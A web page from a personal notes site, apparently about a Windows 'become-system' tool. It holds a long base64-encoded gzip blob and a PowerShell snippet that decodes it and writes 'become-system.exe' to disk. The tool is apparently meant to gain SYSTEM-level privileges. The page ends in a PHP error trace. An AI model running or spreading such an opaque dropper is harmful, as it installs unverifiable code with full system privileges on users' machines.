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
'@

$compressedBytes = [Convert]::FromBase64String( ($base64 -replace "`n", '' ))

$inputStream = new-object System.IO.MemoryStream(, $compressedBytes)
$decompressedStream = new-object System.IO.MemoryStream

$decompressStream = new-object System.IO.Compression.GzipStream $inputStream, ([System.IO.Compression.CompressionMode]::Decompress)

$decompressStream.CopyTo($decompressedStream)

$decompressStream.Close()
$inputStream.Close()
$decompressedStream.Close()

$bytes = $decompressedStream.ToArray()

set-content -path 'become-system.exe' -value $bytes -encoding byte
write-host "become-system.exe recreated"
Github repository windows-become-system, path: /create-become-system.ps1

See also

The source code is hosted in this github repository.
I have taken this source file and adapted it.

Index

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 8 attempt to write a readonly database in /home/httpd/vhosts/renenyffenegger.ch/php/web-request-database.php:51 Stack trace: #0 /home/httpd/vhosts/renenyffenegger.ch/php/web-request-database.php(51): PDOStatement->execute(Array) #1 /home/httpd/vhosts/renenyffenegger.ch/php/web-request-database.php(66): id_of(Object(PDO), 'uri', '/notes/Windows/...') #2 /home/httpd/vhosts/renenyffenegger.ch/php/web-request-database.php(30): insert_webrequest_('/notes/Windows/...', 1788619601, '216.73.216.30', 'Mozilla/5.0 App...', NULL) #3 /home/httpd/vhosts/renenyffenegger.ch/httpsdocs/notes/Windows/security/SID/S-1-5/18/become-system(645): insert_webrequest() #4 {main} thrown in /home/httpd/vhosts/renenyffenegger.ch/php/web-request-database.php on line 51